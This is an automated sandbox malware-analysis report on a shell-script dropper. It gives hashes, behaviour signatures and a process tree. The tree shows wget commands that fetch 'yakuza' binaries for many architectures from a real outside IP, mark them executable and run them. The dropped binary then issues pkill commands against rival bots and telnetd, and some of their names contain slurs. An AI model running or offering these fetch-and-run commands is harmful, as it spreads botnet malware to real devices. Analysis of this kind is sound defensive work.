Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
13-11-2024 02:19
Static task
static1
Behavioral task
behavioral1
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
-
Size
1KB
-
MD5
06e945470e277d1953b8348f96d6bdab
-
SHA1
97c9f6a0ac42ab524a999911fb340a9201eb7f77
-
SHA256
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1
-
SHA512
9296c41fdc556cee147ab81f052d487dcbe9f8ea8227896e3f389f14bebeeaf6b440fb677b3ea33c629430127b4eedf4776bb0576d14c758afd481ee007307ab
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid Process 1490 chmod 1495 chmod 1500 chmod 1511 chmod 1516 chmod 1574 chmod 1582 chmod 1485 chmod 1534 chmod 1549 chmod 1555 chmod 1566 chmod 1529 chmod -
Executes dropped EXE 1 IoCs
Processes:
yakuza.mipsioc pid Process /tmp/yakuza.mips 1486 yakuza.mips -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkilldescription ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill -
Processes:
pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkilldescription ioc Process File opened for reading /proc/1502/cmdline File opened for reading /proc/198/status pkill File opened for reading /proc/18/status pkill File opened for reading /proc/1481/status pkill File opened for reading /proc/955/status pkill File opened for reading /proc/867/status File opened for reading /proc/999/cmdline File opened for reading /proc/160/cmdline File opened for reading /proc/1254/cmdline File opened for reading /proc/27/cmdline pkill File opened for reading /proc/153/status pkill File opened for reading /proc/1238/cmdline pkill File opened for reading /proc/158/cmdline pkill File opened for reading /proc/1467/status File opened for reading /proc/154/cmdline pkill File opened for reading /proc/80/cmdline pkill File opened for reading /proc/1133/cmdline pkill File opened for reading /proc/129/status pkill File opened for reading /proc/27/status pkill File opened for reading /proc/1307/status File opened for reading /proc/438/status pkill File opened for reading /proc/417/cmdline pkill File opened for reading /proc/429/status pkill File opened for reading /proc/867/status pkill File opened for reading /proc/1047/status pkill File opened for reading /proc/457/status pkill File opened for reading /proc/22/cmdline File opened for reading /proc/1361/status pkill File opened for reading /proc/671/status pkill File opened for reading /proc/1149/status pkill File opened for reading /proc/508/status File opened for reading /proc/1220/status pkill File opened for reading /proc/158/status pkill File opened for reading /proc/1113/cmdline pkill File opened for reading /proc/162/status pkill File opened for reading /proc/1117/status pkill File opened for reading /proc/457/cmdline pkill File opened for reading /proc/166/status pkill File opened for reading /proc/1139/cmdline pkill File opened for reading /proc/155/cmdline pkill File opened for reading /proc/115/cmdline pkill File opened for reading /proc/156/status pkill File opened for reading /proc/129/status pkill File opened for reading /proc/454/cmdline pkill File opened for reading /proc/1874/cmdline pkill File opened for reading /proc/1008/cmdline File opened for reading /proc/625/status File opened for reading /proc/1065/cmdline File opened for reading /proc/5/cmdline pkill File opened for reading /proc/257/cmdline pkill File opened for reading /proc/2191/status pkill File opened for reading /proc/1172/cmdline File opened for reading /proc/449/cmdline File opened for reading /proc/1028/cmdline pkill File opened for reading /proc/1470/cmdline pkill File opened for reading /proc/28/status pkill File opened for reading /proc/1502/status pkill File opened for reading /proc/172/cmdline File opened for reading /proc/1275/cmdline File opened for reading /proc/1057/cmdline pkill File opened for reading /proc/168/status pkill File opened for reading /proc/1179/status pkill File opened for reading /proc/1154/status pkill File opened for reading /proc/1133/status pkill -
System Network Configuration Discovery 1 TTPs 15 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
yakuza.mipspkillbusyboxwgetwgetrmshpkillbusyboxpkillyakuza.mipselshbusyboxshrmpid Process 1486 yakuza.mips 2236 pkill 2238 busybox 1480 wget 1489 wget 1488 rm 2221 sh 2222 pkill 2223 busybox 2227 pkill 1491 yakuza.mipsel 2226 sh 2228 busybox 2235 sh 1493 rm -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetdescription ioc Process File opened for modification /tmp/yakuza.arm5 wget File opened for modification /tmp/yakuza.arm7 wget File opened for modification /tmp/yakuza.sparc wget File opened for modification /tmp/yakuza.mipsel wget File opened for modification /tmp/yakuza.i586 wget File opened for modification /tmp/yakuza.m68k wget File opened for modification /tmp/yakuza.arm4 wget File opened for modification /tmp/yakuza.i686 wget File opened for modification /tmp/yakuza.ppc wget File opened for modification /tmp/yakuza.mips wget File opened for modification /tmp/yakuza.sh wget File opened for modification /tmp/yakuza.x86 wget File opened for modification /tmp/yakuza.arm6 wget
Processes
-
/tmp/41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh/tmp/41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh1⤵PID:1477
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1480
-
-
/bin/chmodchmod +x yakuza.mips2⤵
- File and Directory Permissions Modification
PID:1485
-
-
/tmp/yakuza.mips./yakuza.mips2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1486
-
-
/bin/rmrm -rf yakuza.mips2⤵
- System Network Configuration Discovery
PID:1488
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.mipsel2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1489
-
-
/bin/chmodchmod +x yakuza.mipsel2⤵
- File and Directory Permissions Modification
PID:1490
-
-
/tmp/yakuza.mipsel./yakuza.mipsel2⤵
- System Network Configuration Discovery
PID:1491
-
-
/bin/rmrm -rf yakuza.mipsel2⤵
- System Network Configuration Discovery
PID:1493
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.sh2⤵
- Writes file to tmp directory
PID:1494
-
-
/bin/chmodchmod +x yakuza.sh2⤵
- File and Directory Permissions Modification
PID:1495
-
-
/tmp/yakuza.sh./yakuza.sh2⤵PID:1496
-
-
/bin/rmrm -rf yakuza.sh2⤵PID:1498
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.x862⤵
- Writes file to tmp directory
PID:1499
-
-
/bin/chmodchmod +x yakuza.x862⤵
- File and Directory Permissions Modification
PID:1500
-
-
/tmp/yakuza.x86./yakuza.x862⤵PID:1501
-
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:1506
-
/usr/bin/pkillpkill -9 902i134⤵PID:1507
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:1509
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:1526
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵
- Reads CPU attributes
PID:1527
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:1528
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:1547
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵
- Reads CPU attributes
PID:1548
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:1554
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:1571
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵PID:1572
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:1573
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:1589
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:1590
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:1591
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1598
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1599
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1600
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1607
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1608
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1609
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:1616
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵PID:1617
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:1618
-
-
-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:1625
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:1626
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:1627
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:1634
-
/usr/bin/pkillpkill -9 scansh44⤵
- Reads CPU attributes
PID:1635
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:1636
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:1643
-
/usr/bin/pkillpkill -9 MDMA4⤵PID:1644
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:1645
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:1652
-
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:1653
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:1654
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:1661
-
/usr/bin/pkillpkill -9 scanspc4⤵
- Reads CPU attributes
PID:1662
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:1663
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:1670
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵
- Reads CPU attributes
PID:1671
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:1672
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:1679
-
/usr/bin/pkillpkill -9 flexsonskids4⤵PID:1680
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:1681
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:1688
-
/usr/bin/pkillpkill -9 scanx864⤵PID:1689
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1690
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:1697
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵
- Reads runtime system information
PID:1698
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1699
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:1706
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵
- Reads CPU attributes
PID:1707
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1708
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1715
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵PID:1716
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1717
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1724
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵PID:1725
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1726
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1733
-
/usr/bin/pkillpkill -9 freecookiex864⤵PID:1734
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1735
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1742
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1743
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1744
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1751
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1752
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1753
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1760
-
/usr/bin/pkillpkill -9 frgege4⤵
- Reads CPU attributes
PID:1761
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1762
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1769
-
/usr/bin/pkillpkill -9 sysupdater4⤵PID:1770
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1771
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1778
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵
- Reads CPU attributes
PID:1779
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1780
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1787
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1788
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1789
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1796
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1797
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1798
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1807
-
/usr/bin/pkillpkill -9 telnetd4⤵PID:1808
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1809
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1816
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1817
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1818
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1825
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1826
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1827
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1834
-
/usr/bin/pkillpkill -9 gaft4⤵PID:1835
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1836
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1843
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1844
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1845
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1852
-
/usr/bin/pkillpkill -9 120i3UI494⤵PID:1853
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1854
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1861
-
/usr/bin/pkillpkill -9 OaF34⤵PID:1862
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1863
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1870
-
/usr/bin/pkillpkill -9 geae4⤵PID:1871
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1872
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1879
-
/usr/bin/pkillpkill -9 vaiolmao4⤵
- Reads runtime system information
PID:1880
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1881
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1888
-
/usr/bin/pkillpkill -9 123123a4⤵PID:1889
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1890
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1897
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵
- Reads runtime system information
PID:1898
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1899
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1906
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1907
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1908
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1915
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1916
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1917
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1924
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵
- Reads runtime system information
PID:1925
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1926
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1933
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1934
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1935
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1942
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1943
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1944
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1951
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1952
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1953
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1960
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵
- Reads CPU attributes
PID:1961
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1962
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1969
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵PID:1970
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1971
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1978
-
/usr/bin/pkillpkill -9 ggtq4⤵PID:1979
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1980
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1987
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵PID:1988
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1989
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:1996
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵
- Reads runtime system information
PID:1997
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:1998
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:2005
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:2006
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:2007
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:2014
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:2015
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:2016
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:2023
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵
- Reads CPU attributes
PID:2024
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:2025
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:2032
-
/usr/bin/pkillpkill -9 ggtt4⤵PID:2033
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:2034
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:2041
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵PID:2042
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:2043
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:2050
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:2051
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:2052
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:2059
-
/usr/bin/pkillpkill -9 haetrghbr4⤵PID:2060
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:2061
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:2068
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:2069
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:2070
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:2077
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵PID:2078
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:2079
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:2086
-
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:2087
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:2088
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:2095
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵
- Reads CPU attributes
PID:2096
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:2097
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:2104
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:2105
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:2106
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:2113
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:2114
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:2115
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:2122
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵PID:2123
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:2124
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:2131
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:2132
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:2133
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:2140
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵PID:2141
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:2142
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:2149
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads CPU attributes
PID:2150
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:2151
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:2158
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵PID:2159
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:2160
-
-
-
/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:2167
-
/usr/bin/pkillpkill -9 iaGv4⤵PID:2168
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:2169
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:2176
-
/usr/bin/pkillpkill -9 5aA34⤵PID:2177
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:2178
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:2185
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵PID:2186
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:2187
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:2194
-
/usr/bin/pkillpkill -9 insomni4⤵PID:2195
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:2196
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:2203
-
/usr/bin/pkillpkill -9 6402774⤵
- Reads runtime system information
PID:2204
